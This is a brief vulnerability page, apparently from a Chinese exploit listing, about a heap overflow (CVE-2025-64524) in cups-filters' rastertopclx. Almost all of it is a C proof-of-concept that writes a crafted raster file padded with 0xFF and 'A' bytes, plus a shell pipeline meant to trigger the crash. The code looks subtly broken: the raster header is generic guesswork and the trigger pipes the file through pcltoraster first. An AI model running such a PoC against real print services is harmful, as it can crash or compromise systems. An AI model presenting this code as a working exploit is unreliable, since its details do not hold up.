CVE-2025-64524 cups-filters rastertopclx堆缓冲区溢出漏洞

#include <stdio.h> #include <stdlib.h> #include <string.h> // PoC for CVE-2025-64524: cups-filters rastertopclx heap-buffer-overflow // This PoC generates a malicious Raster file that triggers overflow in rastertopclx void generate_malicious_raster(const char *filename) { FILE *fp = fopen(filename, "wb"); if (!fp) { perror("Failed to open file"); return; } // Raster header - crafted to trigger buffer overflow unsigned char raster_header[1024] = {0}; // Set Raster magic number memcpy(raster_header, "RaS", 3); // Set version and dimensions to trigger overflow in rastertopclx raster_header[3] = 2; // version raster_header[4] = 1; // compression type // Write oversized data to cause heap overflow memset(raster_header + 100, 0xFF, 900); fwrite(raster_header, 1, sizeof(raster_header), fp); // Write additional malicious payload unsigned char payload[4096]; memset(payload, 0x41, sizeof(payload)); fwrite(payload, 1, sizeof(payload), fp); fclose(fp); printf("Malicious Raster file generated: %s\n", filename); } int main() { const char *poc_file = "CVE-2025-64524.poc"; generate_malicious_raster(poc_file); printf("To trigger the vulnerability, process this file with rastertopclx:\n"); printf("pcltoraster < %s | rastertopclx > output.pcl\n", poc_file); return 0; }